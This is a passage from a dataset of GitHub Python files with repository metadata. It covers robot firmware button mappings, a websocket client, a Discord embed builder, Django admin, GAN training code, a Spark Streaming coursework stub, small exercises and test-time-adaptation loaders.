buzzer.keyBeep(\"deleted\")\n        elif _programParts != [0]:          # _commandArray is \"empty\", but _programArray is not, \"clear\" it.\n            _functionPosition = [-1] * len(_functionPosition)   # User may want to use higher ids first (from the\n                                                                # previously used ones). So it is not [-1, -1, -1]\n            _programParts = [0]             # \"Clear\" _programArray.\n            buzzer.keyBeep(\"deleted\")\n\n    if _commandPointer == 0 and _programParts == [0]: # If _commandArray and _programArray are \"empty\".\n        buzzer.keyBeep(\"boundary\")\n\n    return 0\n\n\ndef _customMapping():\n    buzzer.keyBeep(\"loaded\")\n    return 0\n\n\n\n################################\n## CALLBACK FUNCTIONS\n\ndef _callbackStep():\n    global _stepSignalSkipCount\n\n    if _stepSignalEnabled and 0 == _stepSignalSkipCount and _stepSignal != \"\":\n        buzzer.keyBeep(_stepSignal)\n    else:\n        _stepSignalSkipCount -= 1\n\n    checkButtons()\n\n\ndef _callbackEnd():\n    global _endSignalSkipCount, _runningProgram\n\n    if _endSignalEnabled and 0 == _endSignalSkipCount and _endSignal != \"\":\n        buzzer.keyBeep(_endSignal)\n    else:\n        _endSignalSkipCount -= 1\n\n    _runningProgram   = False\n\n\n\n################################\n## MAPPINGS\n\n# For turtle hat\n\n_defaultMapping = {\n    1:    (_beepAndReturn,     (\"processed\", 70)),                  # FORWARD\n    2:    (_beepAndReturn,     (\"processed\", 80)),                  # PAUSE\n    4:    (_createLoop,        (40,)),                              # REPEAT (start)\n    6:    (_manageFunction,    (1, False)),                         # F1\n    8:    (_addToProgOrSave,   ()),                                 # ADD\n    10:   (_manageFunction,    (2, False)),                         # F2\n    12:   (_manageFunction,    (3, False)),                         # F3\n    16:   (_beepAndReturn,     (\"processed\", 82)),                  # RIGHT\n    32:   (_beepAndReturn,     (\"processed\", 66)),                  # BACKWARD\n    64:   (_start,             (False,)),                           # START / STOP (start)\n    128:  (_beepAndReturn,     (\"processed\", 76)),                  # LEFT\n    256:  (_undo,              (False,)),                           # UNDO\n    512:  (_delete,            (False,)),                           # DELETE\n    1023: (_customMapping,     ())                                  # MAPPING\n}\n\n\n_loopBeginMapping = {\n    1:    (_beepAndReturn,     (\"processed\", 70)),                  # FORWARD\n    2:    (_beepAndReturn,     (\"processed\", 80)),                  # PAUSE\n    4:    (_createLoop,        (42,)),                              # REPEAT (*)\n    6:    (_manageFunction,    (1, True)),                          # F1\n    10:   (_manageFunction,    (2, True)),                          # F2\n    12:   (_manageFunction,    (3, True)),                          # F3\n    16:   (_beepAndReturn,     (\"processed\", 82)),                  # RIGHT\n    32:   (_beepAndReturn,     (\"processed\", 66)),                  # BACKWARD\n    64:   (_start,             (True,)),                            # START / STOP (block-level start)\n    128:  (_beepAndReturn,     (\"processed\", 76)),                  # LEFT\n    256:  (_undo,              (True,)),                            # UNDO\n    512:  (_delete,            (True,))                             # DELETE\n}\n\n\n_loopCounterMapping = {\n    1:    (_modifyLoopCounter, (1,)),                               # FORWARD\n    4:    (_createLoop,        (41,)),                              # REPEAT (end)\n    16:   (_modifyLoopCounter, (1,)),                               # RIGHT\n    32:   (_modifyLoopCounter, (-1,)),                              # BACKWARD\n    64:   (_checkLoopCounter,  ()),                                 # START / STOP (check counter)\n    128:  (_modifyLoopCounter, (-1,)),                              # LEFT\n    512:  (_modifyLoopCounter, (0,))                                # DELETE\n}\n\n\n_functionMapping = {\n    1:    (_beepAndReturn,     (\"processed\", 70)),                  # FORWARD\n    2:    (_beepAndReturn,     (\"processed\", 80)),                  # PAUSE\n    4:    (_createLoop,        (40,)),                              # REPEAT (start)\n    6:    (_manageFunction,    (1, True)),                          # F1\n    10:   (_manageFunction,    (2, True)),                          # F2\n    12:   (_manageFunction,    (3, True)),                          # F3\n    16:   (_beepAndReturn,     (\"processed\", 82)),                  # RIGHT\n    32:   (_beepAndReturn,     (\"processed\", 66)),                  # BACKWARD\n    64:   (_start,             (True,)),                            # START / STOP (block-level start)\n    128:  (_beepAndReturn,     (\"processed\", 76)),                  # LEFT\n    256:  (_undo,              (True,)),                            # UNDO\n    512:  (_delete,            (True,))                             # DELETE\n}\n\n# For other purpose\n\n_moveCharMapping = {\n    70:  (1, _moveLength),  # \"F\" - FORWARD\n    66:  (4, _moveLength),  # \"B\" - BACKWARD\n    76:  (2, _turnLength),  # \"L\" - LEFT (90°)\n    108: (2, _halfTurn),    # \"l\" - LEFT (45°)\n    82:  (3, _turnLength),  # \"R\" - RIGHT (90°)\n    114: (3, _halfTurn),    # \"r\" - RIGHT (45°)\n    80:  (0, _moveLength),  # \"P\" - PAUSE\n    75:  (2, _halfTurn),    # \"K\" - LEFT (45°)      alias for URL usage ( L - 1 = K   ~ l )\n    81:  (3, _halfTurn)     # \"Q\" - RIGHT (45°)     alias for URL usage ( R - 1 = Q   ~ r )\n}\n\n\n################################\n## LAST PART OF INITIALISATION\n\n_currentMapping = _defaultMapping\n\n_startButtonChecking()\n","repo_name":"hu-zza/uBot_firmware","sub_path":"modules/ubot_turtle.py","file_name":"ubot_turtle.py","file_ext":"py","file_size_in_byte":34724,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"7744845596","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Dec  7 14:25:59 2018\r\n\r\n@author: Administrator\r\n\"\"\"\r\n\r\nimport asyncio\r\nimport websockets\r\n\r\nasync def hello(url):\r\n    async with websockets.connect(url) as webclient:\r\n          await  webclient.send(\"hello world\") \r\n          print(\"client waiting ...\")\r\n          message = await webclient.recv()\r\n          print(\"client receive :\" + message)\r\n\r\nasyncio.get_event_loop().run_until_complete(\r\n        hello('ws://localhost:8765'))","repo_name":"zhiweny1122/proj_python","sub_path":"wsclient.py","file_name":"wsclient.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"42361374151","text":"# get all data from a word in a language defined by language variable\n\nfrom nltk.corpus import wordnet as wn\nimport pprint\nfrom itertools import chain\n\n# get all languages \nsorted(wn.langs())\n\ninput = input(\"Enter word to get hyponyms and hypernyms: \")\nlanguage = 'spa'\nlista = []\nwords = wn.synsets(input, lang=language)\npp = pprint.PrettyPrinter(indent=4)\n\nfor word in words:\n  lista.append({\n    'id': word.name(), \n    'word': word.lemma_names(language), \n    'meaning': word.definition(),\n    'hypernyms': [],\n    'hyponyms': []\n  })\n\n  currentHyponyms = []\n  currentHypernyms = []\n\n  for hyponym in word.hyponyms():\n    currentHyponyms.append(hyponym.lemma_names(language))\n\n  flat_list = [item for sublist in currentHyponyms for item in sublist]\n  lista[-1][\"hyponyms\"] = flat_list\n  \n  for hypernym in word.hypernyms():\n    currentHypernyms.append(hypernym.lemma_names(language))\n\n  flat_list = [item for sublist in currentHypernyms for item in sublist]\n  lista[-1][\"hypernyms\"] = flat_list\n\npp.pprint(lista)\n","repo_name":"juanda99/arasaac-nltk","sub_path":"word.py","file_name":"word.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"73546565047","text":"from re import compile, match\r\nfrom .ext.url import URLHandler\r\nfrom .ext.errors import NotAnURL, UnsupportedImageType\r\n\r\n\r\nclass Embed:\r\n\tdef __init__(self, title: str, description: str = \"\", color: int = 0x0):\r\n\t\t\"\"\"\r\n\t\tRepresents a Discord Embed.\r\n\t\t:param title: Embed Title\r\n\t\t:param description: Embed Description\r\n\t\t:param color: Embed Color\r\n\t\t\"\"\"\r\n\t\tif len(title) > 256:\r\n\t\t\traise OverflowError(\"Embed title can only be 256 characters long\")\r\n\t\tif len(description) > 4096:\r\n\t\t\traise OverflowError(\"Embed description can only be 4096 characters long\")\r\n\t\t\r\n\t\tself.json = {\r\n\t\t\t\"title\": title,\r\n\t\t\t\"description\": description,\r\n\t\t\t\"color\": color,\r\n\t\t}\r\n\r\n\t\tself.title = title\r\n\t\tself.description = description\r\n\t\tself.color = color\r\n\t\r\n\tdef set_author(self, name: str, url: str = None, icon_url: str = None):\r\n\t\t\"\"\"\r\n\t\tSets the author of the embed\r\n\t\t:param name: Author Name\r\n\t\t:param url: Redirect URL\r\n\t\t:param icon_url: Icon URL\r\n\t\t:return:\r\n\t\t\"\"\"\r\n\t\tif len(name) > 256:\r\n\t\t\traise OverflowError(\"Author name can only be 256 characters long!\")\r\n\t\t\r\n\t\tto_add = {\"author\": {\"name\": name}}\r\n\t\t\r\n\t\tif url is not None:\r\n\t\t\tif not URLHandler.is_url(url):\r\n\t\t\t\traise NotAnURL(f\"Invalid URL: {url}\")\r\n\t\t\t\r\n\t\t\tto_add[\"author\"][\"url\"] = url\r\n\t\t\r\n\t\tif icon_url is not None:\r\n\t\t\tif not URLHandler.is_url(icon_url):\r\n\t\t\t\traise NotAnURL(f\"Invalid URL: {icon_url}\")\r\n\t\t\t\r\n\t\t\tif not URLHandler.is_url_image(icon_url):\r\n\t\t\t\traise UnsupportedImageType(\r\n\t\t\t\t\t\"Avatar URL was either not a DIRECT link to an image or was not a supported image type.\"\r\n\t\t\t\t\t\"(Hint: Supported Types are: JPEG/JPG, GIF, PNG)\"\r\n\t\t\t\t)\r\n\t\t\t\r\n\t\t\tto_add[\"author\"][\"icon_url\"] = icon_url\r\n\t\t\r\n\t\tself.json.update(to_add)\r\n\t\r\n\tdef add_field(self, name: str, value: str, inline: bool = True):\r\n\t\t\"\"\"\r\n\t\tAdd a field to an embed. 25 Field Limit!\r\n\t\t:param name: Field Name\r\n\t\t:param value: Field Content\r\n\t\t:param inline:\r\n\t\t:return:\r\n\t\t\"\"\"\r\n\t\tif len(name) > 256:\r\n\t\t\traise OverflowError(\"Field name can only be 256 characters long!\")\r\n\t\tif len(value) > 1024:\r\n\t\t\traise OverflowError(\"Field value can only be 1024 characters long!\")\r\n\t\t\r\n\t\tif \"fields\" not in self.json:\r\n\t\t\tself.json[\"fields\"] = []\r\n\t\t\r\n\t\tif len(self.json[\"fields\"]) >= 25:\r\n\t\t\traise OverflowError(\"A embed can only have 25 fields\")\r\n\t\t\r\n\t\tself.json[\"fields\"].append({\"name\": name, \"value\": value, \"inline\": inline})\r\n\t\r\n\tdef add_image(self, image_url: str):\r\n\t\t\"\"\"\r\n\t\tAdd an image to the embed\r\n\t\t:param image_url:\r\n\t\t:return:\r\n\t\t\"\"\"\r\n\t\tif not URLHandler.is_url(image_url):\r\n\t\t\traise NotAnURL(f\"Invalid URL: {image_url}\")\r\n\t\t\r\n\t\tif not URLHandler.is_url_image(image_url):\r\n\t\t\traise UnsupportedImageType(\r\n\t\t\t\t\"Avatar URL was either not a DIRECT link to an image or was not a supported image type.\"\r\n\t\t\t\t\"(Hint: Supported Types are: JPEG/JPG, GIF, PNG)\"\r\n\t\t\t)\r\n\t\tif \"image\" not in self.json:\r\n\t\t\tself.json[\"image\"] = {}\r\n\t\tself.json[\"image\"][\"url\"] = image_url\r\n\t\r\n\tdef set_thumbnail(self, image_url):\r\n\t\t\"\"\"\r\n\t\tSet the embed thumbnail\r\n\t\t:param image_url:\r\n\t\t:return:\r\n\t\t\"\"\"\r\n\t\tif not URLHandler.is_url(image_url):\r\n\t\t\traise NotAnURL(f\"Invalid URL: {image_url}\")\r\n\t\t\r\n\t\tif not URLHandler.is_url_image(image_url):\r\n\t\t\traise UnsupportedImageType(\r\n\t\t\t\t\"Avatar URL was either not a DIRECT link to an image or was not a supported image type.\"\r\n\t\t\t\t\"(Hint: Supported Types are: JPEG/JPG, GIF, PNG)\"\r\n\t\t\t)\r\n\t\tif \"thumbnail\" not in self.json:\r\n\t\t\tself.json[\"thumbnail\"] = {}\r\n\t\t\r\n\t\tself.json[\"thumbnail\"][\"url\"] = image_url\r\n\t\r\n\tdef set_footer(self, text: str, icon_url: str = None):\r\n\t\t\"\"\"\r\n\t\tSet the footer of the embed\r\n\t\t:param text: Author Text\r\n\t\t:param icon_url: Author Icon\r\n\t\t:return:\r\n\t\t\"\"\"\r\n\t\tif \"footer\" not in self.json:\r\n\t\t\tself.json[\"footer\"] = {}\r\n\t\t\r\n\t\tif icon_url is not None:\r\n\t\t\tif not URLHandler.is_url(icon_url):\r\n\t\t\t\traise NotAnURL(f\"Invalid URL: {icon_url}\")\r\n\t\t\t\r\n\t\t\tif not URLHandler.is_url_image(icon_url):\r\n\t\t\t\traise UnsupportedImageType(\r\n\t\t\t\t\t\"Avatar URL was either not a DIRECT link to an image or was not a supported image type.\"\r\n\t\t\t\t\t\"(Hint: Supported Types are: JPEG/JPG, GIF, PNG)\"\r\n\t\t\t\t)\r\n\t\t\t\r\n\t\t\tself.json[\"footer\"][\"icon_url\"] = icon_url\r\n\t\t\r\n\t\tif len(text) > 2048:\r\n\t\t\traise OverflowError(\"Footer Length can only be 2048 characters long!\")\r\n\t\t\r\n\t\tself.json[\"footer\"][\"text\"] = text\r\n\t\r\n\tdef set_timestamp(self, timestamp: str):\r\n\t\t\"\"\"\r\n\t\tSet the timestamp of the embed.\r\n\t\t:param timestamp: FORMAT: YYYY-MM-DDTHH:MM:SS.SSSZ\r\n\t\t:return:\r\n\t\t\"\"\"\r\n\t\tregex = compile(r\"^\\d{4}-\\d{2}-\\d{2}T\\d{2}:\\d{2}:\\d{2}\\.\\d{3}Z$\")\r\n\t\t\r\n\t\ttry:\r\n\t\t\tif match(regex, timestamp):\r\n\t\t\t\tself.json[\"timestamp\"] = timestamp\r\n\t\texcept TypeError:\r\n\t\t\traise ValueError(\"Invalid timestamp format\")","repo_name":"LapisPhoenix/Pywebhk","sub_path":"src/pywebhk/embed.py","file_name":"embed.py","file_ext":"py","file_size_in_byte":4624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"39112854902","text":"from django.contrib import admin\nfrom models import Athlete, UserCategory\n\nclass AthleteAdmin(admin.ModelAdmin):\n  list_display = (\n    'email', 'username',\n    'first_name', 'last_name',\n    'is_staff',\n  )\n  search_fields = (\n    'email',\n    'username',\n    'first_name', 'last_name',\n  )\nadmin.site.register(Athlete, AthleteAdmin)\n\nclass UserCategoryAdmin(admin.ModelAdmin):\n  list_display = ('name', 'code', 'min_year', 'max_year')\nadmin.site.register(UserCategory, UserCategoryAdmin)\n","repo_name":"La0/runreport","sub_path":"src/users/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"77"}
+{"seq_id":"21196376140","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport tensorflow as tf\nfrom Model import Model\nfrom DataGenerator import DataGenerator\nfrom Losses import Losses\nfrom ModelEvaluation import ModelEvaluation\nimport time\nimport os\nfrom tqdm import tqdm\nimport numpy as np\nfrom PIL import Image\nimport multiprocessing\nimport concurrent.futures\nfrom pathos.multiprocessing import ProcessingPool as Pool\nimport pathos.multiprocessing\n\nclass TrainingManager:\n    \n    def __init__(self, trainingDict, images, maps, tImages, tMaps, dataset = None):\n        models = Model(trainingDict)\n        topNm = trainingDict[\"topNm\"]\n\n        self.dataset = dataset\n        \n        self.label = trainingDict[\"name\"] #name of training job\n        self.generator, self.discriminator = self.extractModels(models) #models\n             \n        self.dataGenerator = DataGenerator(topNm) #define data generator\n        self.losses = Losses() #define losses\n        self.evaluator = ModelEvaluation(topNm) #define evaluator\n        \n        self.generator_optimizer = tf.keras.optimizers.Adam(trainingDict[\"gen_lr\"], beta_1=trainingDict[\"gen_b1\"]) #define generator optimizer\n        self.discriminator_optimizer = tf.keras.optimizers.Adam(trainingDict[\"disc_lr\"], beta_1=trainingDict[\"disc_b1\"]) #define disciminator optimizer\n        \n        \n        self.images = images #training images\n        self.maps = maps #training maps\n        \n        self.tImages = tImages #testing imates\n        self.tMaps = tMaps #testing maps\n        \n        self.checkpoint_dir = self.label + \"/checkpoints/\" #directory of checkpoints\n        self.checkpoint_prefix = os.path.join(self.checkpoint_dir, \"ckpt\") #checkpoint prefix\n        self.checkpoint = tf.train.Checkpoint(generator_optimizer=self.generator_optimizer,               discriminator_optimizer=self.discriminator_optimizer,\n                                         generator=self.generator,\n                                         discriminator=self.discriminator) #checkpoint storage\n        self.EPOCHS = trainingDict[\"epochs\"] #number epochs\n        self.summary_writer = tf.summary.create_file_writer(\n              self.label + \"/graph/\") #write summary to TensorBoard. \n        \n\n        \n\n\n\n    @tf.function()\n    def train_step(self,input_image, target, epoch):\n      with tf.GradientTape() as gen_tape, tf.GradientTape() as disc_tape:\n        gen_output = self.generator(input_image, training=True)\n        disc_real_output = self.discriminator([input_image, target], training=True)\n        disc_generated_output = self.discriminator([input_image, gen_output], training=True)\n\n        gen_total_loss, gen_gan_loss, gen_l1_loss = self.losses.generator_loss(disc_generated_output, gen_output, target)\n        disc_loss = self.losses.discriminator_loss(disc_real_output, disc_generated_output)\n\n      generator_gradients = gen_tape.gradient(gen_total_loss,\n                                              self.generator.trainable_variables)\n      discriminator_gradients = disc_tape.gradient(disc_loss,\n                                                   self.discriminator.trainable_variables)\n\n      self.generator_optimizer.apply_gradients(zip(generator_gradients,\n                                              self.generator.trainable_variables))\n      self.discriminator_optimizer.apply_gradients(zip(discriminator_gradients,\n                                                  self.discriminator.trainable_variables))\n\n      with self.summary_writer.as_default():\n        tf.summary.scalar('gen_total_loss', gen_total_loss, step=epoch)\n        tf.summary.scalar('gen_gan_loss', gen_gan_loss, step=epoch)\n        tf.summary.scalar('gen_l1_loss', gen_l1_loss, step=epoch)\n        tf.summary.scalar('disc_loss', disc_loss, step=epoch)\n        \n        \n    def tfFit(self):\n      start = time.time()\n\n      for step, (input_image, target) in self.dataset.repeat().take(self.EPOCHS).enumerate():\n        if (step) % 1000 == 0:\n\n          if step != 0:\n            print(f'Time taken for 1000 steps: {time.time()-start:.2f} sec\\n')\n\n          start = time.time()\n\n          print(f\"Step: {step//1000}k\")\n\n        self.train_step(input_image[tf.newaxis,...], target[tf.newaxis,...], step)\n\n        # Training step\n        if (step+1) % 10 == 0:\n          print('.', end='', flush=True)\n\n\n      \n        \n\n    def fit(self, startingPoint = 0):\n      self.makeImageDirectory()\n    \n      for epoch in range(startingPoint, self.EPOCHS):\n        start = time.time()\n\n        \n        \n        #TODO --> change index evaluations. Need quick way to see performance (mosaic preferred)\n        self.evaluator.evaluateTrio(self.generator, self.images, self.maps, 0, 48, fileName = \"example_1/\" + str(epoch), label = self.label) \n        self.evaluator.evaluateTrio(self.generator, self.images, self.maps, 1, 48, fileName = \"example_2/\" +str(epoch), label = self.label)\n        \n        # Training segment\n        for n in range(self.images.shape[0]):\n          image = self.images[n]\n          image = image[None,:,:,:]\n          tmpMap = self.maps[n]\n          tmpMap = tmpMap[None,:,:,:]\n          self.train_step(image, tmpMap, epoch)\n        print()\n\n        #save checkpoint\n        self.checkpoint.save(file_prefix = self.checkpoint_prefix)\n\n        print ('Time taken for epoch {} is {} sec\\n'.format(epoch + 1,\n        \n                                                            time.time()-start))\n        #save model\n        # self.saveModel()\n      \n    \n    def fetchRange(self, array, message):\n        print(message, np.min(array), np.max(array))\n    \n    #save a specific image from the provided testing set\n    def runInference(self, index, std = 0.1):\n        return self.evaluator.evaluateTrio(self.generator, self.tImages, self.tMaps, index)\n    \n    \n    \n    def extractModels(self, models):\n        return (models.Generator(), models.Discriminator())\n    \n    \n    def makeImageDirectory(self): #create directories\n        try:\n            os.makedirs(os.path.join(self.label, \"example_1\"))\n            os.makedirs(os.path.join(self.label, \"example_2\"))\n\n        except OSError as error:  \n            print(error)\n        \n                \n    def saveModel(self):\n        self.generator.save(self.label + \"/model\")\n\n        \n    def previewGenerator(self):\n        return tf.keras.utils.plot_model(self.generator, show_shapes=True, dpi=64)\n    \n    def previewDiscriminator(self):\n        return tf.keras.utils.plot_model(self.discriminator, show_shapes=True, dpi=64)\n\n    def runImageInference(self, filename):\n        image = Image.open(filename)\n        data = np.asarray(image)\n        t0 = time.time()\n        predMap = self.generator(data[None,:,:,:], training=True).numpy()\n        t1 = time.time()\n        \n        print(\"Inference Time\", str(t1-t0))\n\n        self.evaluator.showMap(self.evaluator.normalize(predMap)*1000)\n        return self.evaluator.normalize(predMap)*1000\n    \n\n\n        \n        \n        ","repo_name":"HSEyeFuller/test-gcp-transfer","sub_path":"ConditionalGAN/TrainingManager.py","file_name":"TrainingManager.py","file_ext":"py","file_size_in_byte":6960,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"45926942253","text":"\"\"\" CSC8101 Streaming coursework stub file\"\"\"\n\nfrom pyspark import SparkContext, SparkConf, RDD\nfrom pyspark.streaming import StreamingContext\nfrom pyspark.streaming.kafka import KafkaUtils\nfrom pyspark.sql import SparkSession, Row\n\ndef getSparkSessionInstance(sparkConf: SparkConf) -> SparkSession:\n    \"\"\" This method ensures that there is only ever one instance of the Spark\n    SQL context. This prevents conflicts between executors.\n\n    Code taken from example on this page of the Spark Streaming Guide:\n\n    https://spark.apache.org/docs/latest/\n    streaming-programming-guide.html#dataframe-and-sql-operations\n\n    Arguments:\n        sparkConf - SparkConf - The spark context configuration object.\n        This should be the same as supplied to the StreamingContext object.\n\n    Returns:\n        The singleton instance of the Spark SQL SparkSession object.\n    \"\"\"\n    if \"sparkSessionSingletonInstance\" not in globals():\n        globals()[\"sparkSessionSingletonInstance\"] = SparkSession \\\n            .builder \\\n            .config(conf=sparkConf) \\\n            .getOrCreate()\n\n    return globals()[\"sparkSessionSingletonInstance\"]\n\ndef send_to_cassandra(rdd: RDD, table_name: str) -> None:\n    \"\"\" Converts an RDD of Row instances into a DataFrame and appends it to\n    the supplied table name. The Cassandra database address is defined in the\n    \"spark.cassandra.connection.host\" key set in the SparkConf instance given\n    to the getSparkSessionInstance method.\n\n    Arguments:\n        rdd - RDD - An rdd of Row instances with filed names that match those\n        in the target cassandra table.\n        table_name - str - The name of the table that this rdd should be sent\n        to.\n\n    \"\"\"\n    # Get the singleton instance of SparkSession\n    spark = getSparkSessionInstance(rdd.context.getConf())\n\n    # Convert the supplied rdd of Rows into a dataframe\n    rdd_df = spark.createDataFrame(rdd)\n\n    # Print the dataframe to the console for verification\n    rdd_df.show()\n\n    # Write this dataframe to the supplied Cassandra table\n    (rdd_df.write.format(\"org.apache.spark.sql.cassandra\").mode('append')\n     .options(table=table_name, keyspace=\"csc8101\").save())\n\n########## Spark Streaming Setup ##########\n\n# Create a conf object to hold connection information\nsp_conf = SparkConf()\n\n# Set the cassandra host address - NOTE: you will have to set this to the\n# address of your VM if you run this on the cluster. If you are running\n# the streaming job locally on your VM you should set this to \"localhost\"\nsp_conf.set(\"spark.cassandra.connection.host\", \"localhost\")\n\n# Create the spark context object.\n# For local development it is very important to use \"local[2]\" as Spark\n# Streaming needs 2 cores minimum to function properly\nSC = SparkContext(master=\"local[2]\", appName=\"Event Processing\", conf=sp_conf)\n\n#Set the batch interval in seconds\nBATCH_INTERVAL = 10\n\n#Create the streaming context object\nSSC = StreamingContext(SC, BATCH_INTERVAL)\n\n########## Kafka Setup ##########\n\n# Create receiver based stream\n# NOTE: Please edit the Broker IP to match your designated broker address.\n# Also edit the client_id_for_broker to be something personal to you such as\n# your student number. This is used for the broker to identify your client.\n# Also edit the topic_name you would like to pull messages from and the number\n# of partitions to consume on that topic. For development 1 is fine, for \n# consuming from the production stream a higher number is recommended.\ntopic_name = \"dev-stream\"\nclient_id_for_broker = \"Your Student ID\"\nnum_of_partition_to_consume_from = 1\nRAW_MESSAGES = KafkaUtils.createStream(SSC,\n                                       \"<instert-broker-ip-here>:2181\",\n                                       client_id_for_broker,\n                                       {topic_name: num_of_partitions_to_consume_from})\n\n########## Window the incoming batches ##########\n\n########## Convert each message from json into a dictionary ##########\n\n########## Find the minimum timestamp for window ##########\n\n############################## Task 1 ##############################\n\n#### Calculate the page visits for each client id ####\n\n#### Write the Task 1 results to cassandra ####\n\n# Convert each element of the rdd_example rdd into a Row\n# NOTE: This is just example code please rename the DStreams and Row fields to\n# match those in your Cassandra table\nrow_rdd_example = rrd_example.map(lambda x: Row(field1=x[0],\n                                                field2=x[1],\n                                                field3=x[2],\n                                                field4=x[3],\n                                                field5=x[4]))\n\n# Convert each rdd of Rows in the DStream into a DataFrame and send to Cassandra\nrow_rdd_example.foreachRDD(lambda rdd: send_to_cassandra(rdd, your_table_name))\n\n############################## Task 2 ##############################\n\n#### Calculate the unique views per page\n\n#### Write the Task 2 results to cassandra ####\n\n# Initiate the stream processing\nSSC.start()\nSSC.awaitTermination()\n","repo_name":"tomncooper/CSC8101-Documentation","sub_path":"spark-streaming/stub.py","file_name":"stub.py","file_ext":"py","file_size_in_byte":5086,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"77"}
+{"seq_id":"5557461275","text":"#Ejercicio 0.1: Calcular año bisiesto\n#La función devolverá un True si el año ES Bisiesto\n#y un False si el año NO es Bisiesto\n\ndef esBisiesto(number):\n    if number % 4 == 0 and number % 100 != 0 or number % 400 == 0:\n        return True\n    else:\n        return False\n#Escribe aquí abajo el año que quieres comprobar si es bisiesto\nprint(esBisiesto(2020))","repo_name":"jabejarano/Informatica-II","sub_path":"P0/anio_bisiesto.py","file_name":"anio_bisiesto.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"35475119411","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n    path('', views.index, name='index'),\n    path('timeline/', views.timeline, name='timeline'),\n    path('galery/', views.galery, name='galery'),\n    path('whippets/', views.whippets, name='whippets'),\n    path('puppies/', views.puppies, name='puppies'),\n    path('contact/', views.contact, name='contact'),\n    path('links/', views.links, name='links')\n\n]","repo_name":"Macjas1999/hopeOfNolin","sub_path":"members/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"25728090017","text":"\"\"\"\nTitle : 돌 그룹\nLink : https://www.acmicpc.net/problem/12886\n\"\"\"\n\nfrom collections import deque\nimport sys\ninput = sys.stdin.readline\n\n\nif __name__ == \"__main__\":\n    A, B, C = sorted(map(int, input().split()))\n    total = A + B + C\n    check = [[False] * (total + 1) for _ in range(total + 1)]\n    ans = 0\n    queue = deque([(min(A, B, C), max(A, B, C))])\n    while queue:\n        a, b = queue.popleft()\n        if a == b == total - (a + b):\n            ans = 1\n            break\n        for x, y in (a, b), (a, total - (a + b)), (b, total - (a + b)):\n            if x < y:\n                y -= x\n                x += x\n            elif x > y:\n                x -= y\n                y += y\n            else:\n                continue\n            z = total - (x + y)\n            n, m = min(x, y, z), max(x, y, z)\n            if not check[n][m]:\n                queue.append((n, m))\n                check[n][m] = True\n    print(ans)\n","repo_name":"myejin/ALGO_STUDY_123","sub_path":"220417/LYJ/12886.py","file_name":"12886.py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"16478108188","text":"# -*- coding: utf-8 -*-\nfrom typing import Iterable, Tuple, Union, Optional, Type\n\nimport torch\n\nfrom ttab.scenarios import Scenario\nfrom ttab.api import PyTorchDataset, Batch\nfrom ttab.loads.datasets.datasets import WrapperDataset\n\n\nD = Union[torch.utils.data.Dataset, PyTorchDataset]\n\n\nclass BaseLoader(object):\n    def __init__(self, dataset: PyTorchDataset):\n        self.dataset = dataset\n\n    def iterator(\n        self,\n        batch_size: int,\n        shuffle: bool = True,\n        repeat: bool = False,\n        ref_num_data: Optional[int] = None,\n        num_workers: int = 1,\n        sampler: Optional[torch.utils.data.Sampler] = None,\n        generator: Optional[torch.Generator] = None,\n        pin_memory: bool = True,\n        drop_last: bool = True,\n    ) -> Iterable[Tuple[int, float, Batch]]:\n        yield from self.dataset.iterator(\n            batch_size,\n            shuffle,\n            repeat,\n            ref_num_data,\n            num_workers,\n            sampler,\n            generator,\n            pin_memory,\n            drop_last,\n        )\n\n\nclass NormalLoader(object):\n    \"\"\"This class can be used for TTT variants (TODO).\"\"\"\n\n    def __init__(self, dataset: PyTorchDataset):\n        self.dataset = dataset\n\n    def iterator(\n        self,\n        batch_size: int,\n        shuffle: bool = True,\n        repeat: bool = False,\n        ref_num_data: Optional[int] = None,\n        num_workers: int = 1,\n        sampler: Optional[torch.utils.data.Sampler] = None,\n        generator: Optional[torch.Generator] = None,\n        pin_memory: bool = True,\n        drop_last: bool = True,\n    ) -> Iterable[Tuple[int, float, Batch]]:\n        yield from self.dataset.iterator(\n            batch_size,\n            shuffle,\n            repeat,\n            ref_num_data,\n            num_workers,\n            sampler,\n            generator,\n            pin_memory,\n            drop_last,\n        )\n\n\nscenario2loader = {\n    \"tent\": BaseLoader,\n    \"no_adaptation\": BaseLoader,\n    \"bn_adapt\": BaseLoader,\n    \"memo\": BaseLoader,\n    \"shot\": BaseLoader,\n    \"t3a\": BaseLoader,\n    \"ttt\": NormalLoader,\n    \"ttt_plus_plus\": NormalLoader,\n    \"note\": BaseLoader,\n    \"sar\": BaseLoader,\n    \"conjugate_pl\": BaseLoader,\n    \"cotta\": BaseLoader,\n    \"eata\": BaseLoader\n}\n\n\ndef _init_dataset(dataset: D, device: str) -> PyTorchDataset:\n    if isinstance(dataset, torch.utils.data.Dataset):\n        return WrapperDataset(dataset, device)\n    else:\n        return dataset\n\n\ndef get_test_loader(dataset: D, scenario: Scenario, device: str) -> Type[BaseLoader]:\n    dataset: PyTorchDataset = _init_dataset(dataset, device)\n    return scenario2loader[scenario.model_adaptation_method](dataset)\n\n\ndef get_auxiliary_loader(dataset: D, device: str) -> Type[BaseLoader]:\n    dataset: PyTorchDataset = 